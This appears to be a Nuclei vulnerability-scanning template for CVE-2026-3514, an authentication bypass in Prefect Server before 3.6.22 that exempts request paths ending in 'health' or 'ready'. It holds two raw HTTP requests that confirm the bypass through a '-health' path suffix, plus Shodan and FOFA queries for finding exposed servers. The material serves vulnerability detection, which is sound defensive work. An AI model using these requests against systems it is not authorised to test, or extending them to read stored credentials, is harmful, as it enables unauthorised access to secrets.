Copy
id: CVE-2026-3514
info:
name: Prefect Server < 3.6.22 - Authentication Bypass via Health Check Path Suffix
author: s4e-io
severity: high
description: |
Prefect Server before 3.6.22 contains an authentication bypass caused by the API authentication middleware exempting every GET request whose URL path ends with "health" or "ready". When PREFECT_SERVER_API_AUTH_STRING is set, unauthenticated attackers can read variables, flows, work pools, work queues and deployments whose names end with those suffixes.
impact: |
Unauthenticated attackers can read variables, flows, work pools, work queues and deployments whose names end with "health" or "ready", potentially exposing API keys and database credentials stored in Prefect Variables.
remediation: |
Upgrade Prefect to version 3.6.22 or later.
reference:
- https://huntr.com/bounties/c540e5e1-f74f-44f4-bfa0-9764ff6daa75
- https://github.com/PrefectHQ/prefect/commit/e21617125335025b4b27e7d6f0ca028e8e8f3b79
- https://github.com/PrefectHQ/prefect/pull/21063
- https://github.com/PrefectHQ/prefect/releases/tag/3.6.22
- https://nvd.nist.gov/vuln/detail/CVE-2026-3514
- https://nvd.nist.gov/vuln/detail/CVE-2026-7722
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-3514
epss-score: 0.01882
epss-percentile: 0.80052
cwe-id: CWE-863
cpe: cpe:2.3:a:prefect:prefect:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: prefect
product: prefect
shodan-query: http.title:"Prefect Server"
fofa-query: title="Prefect Server"
tags: cve,cve2026,prefect,auth-bypass,unauth
variables:
name: "{{to_lower(rand_text_alpha(10))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/variables/name/{{name}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(content_type, "application/json")'
- 'contains(body, "{\"exception_message\":\"Unauthorized\"}")'
condition: and
internal: true
- raw:
- |
GET /api/variables/name/{{name}}-health HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "application/json")'
- 'contains(body, "{\"detail\":\"Variable not found.\"}")'
condition: and
# digest: 490a004630440220360c4953c366633cd38a92146f0c0f4954d1c2824f29252df104ec1c73014df2022074ad55c325f9c049bc554a60a142816a2272b058d45a4e56b5b6513e442bd459:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.